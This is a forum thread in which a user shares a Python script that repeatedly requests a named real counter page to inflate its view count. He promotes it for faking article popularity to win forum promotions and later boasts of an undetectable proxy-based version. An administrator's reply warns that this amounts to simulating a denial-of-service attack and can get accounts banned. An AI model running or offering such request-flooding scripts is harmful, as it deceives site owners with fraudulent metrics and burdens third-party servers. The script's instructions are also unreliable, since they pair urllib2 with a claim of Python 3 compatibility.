1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

How to mess up Basic counter scrips on Web-pages

Discussion in 'Web Development' started by lionaneesh, Jan 13, 2011.

  1. lionaneesh

    lionaneesh Active Member

    Joined:
    Mar 21, 2010
    Messages:
    848
    Likes Received:
    224
    Trophy Points:
    43
    Occupation:
    Student
    Location:
    India
    Hey today in this tutorial of mine I will demonstrate how to mess up the basic/inelegant counter scrips on the web-pages counting view count etc..

    Note : The info provided by this page is just for educational purposes and should not be used for unethical purposes

    The Target



    I am using Another PhpPageCounter by:WGREP [http://www.wgrep.com/phpcounter.php as a target because its the top rated counter by Hotscripts [http://www.hotscripts.com/category/php/scripts-programs/counters/]

    The Code


    This code is for Python 3.0 if using previous versions change 'urllib2' occurrences in the page to urllib...To know why
    Read :-
    http://docs.python.org/library/urllib.html

    Code:
    import urllib2
    counter = 0;
    hostname = "http://www.wgrep.com/phpcounter.php";
    print("Messing up Counter of " +hostname);
    try :
            while 1:
                    source = urllib2.urlopen(hostname).read()
                    counter = counter + 1;
                    print(counter);
    except :
            print("\nThanks for using CounterMess\n\tMade By : lionaneesh \n\tAKA\n\tExp|i(t-Hax0r")
    

    Uses



    If any forum is using this script you can increase the visitors count to your article and easily be promoted to Author etc..
    I hope G4E is safe!!!

    References



    Thanks for viewing my Article...
    Have fun...and keep the comments coming..
     
    Scripting likes this.
  2. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,283
    Likes Received:
    364
    Trophy Points:
    83
    Don't attempt such automated page loads because that can lead to a ban of your account / ip and it will be handled by our host where we have the firewall and then nothing can be done unless you change your ISP or use a proxy.

    Also articles views is one of the way to understand how popular those articles are but that is not the only way because we even track the source of the users and that is where your script can be of no use.

    Now coming to your articles this is nothing but a way to simulate DoS attack and so be careful on those things.
     
  3. lionaneesh

    lionaneesh Active Member

    Joined:
    Mar 21, 2010
    Messages:
    848
    Likes Received:
    224
    Trophy Points:
    43
    Occupation:
    Student
    Location:
    India
    YeaH!!!!!!! I understand this and thats what i wrote in the beginning of my article...
    Apologizes...
    But i only wanted users to get something from it..
     
    Scripting likes this.
  4. shabbir

    shabbir Administrator Staff Member

    Joined:
    Jul 12, 2004
    Messages:
    15,283
    Likes Received:
    364
    Trophy Points:
    83
    Nothing to apologize but just wanted to let you know about it.
     
  5. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    Man, this is very good and tricky thing !!!
     
  6. lionaneesh

    lionaneesh Active Member

    Joined:
    Mar 21, 2010
    Messages:
    848
    Likes Received:
    224
    Trophy Points:
    43
    Occupation:
    Student
    Location:
    India
    Yeah, I made another one.. it uses proxy's so that it makes us undetectable and can bypass any counter on the net!!!
     
    Scripting likes this.
  7. Scripting

    Scripting John Hoder

    Joined:
    Jun 29, 2010
    Messages:
    421
    Likes Received:
    57
    Trophy Points:
    0
    Occupation:
    School for life
    Location:
    /root
    Can u sent it to me (on skype )? Thx
     
    lionaneesh likes this.
  8. lionaneesh

    lionaneesh Active Member

    Joined:
    Mar 21, 2010
    Messages:
    848
    Likes Received:
    224
    Trophy Points:
    43
    Occupation:
    Student
    Location:
    India
    Finish the work buddy...
    We'll upload it directly to our site!!!
     

Share This Page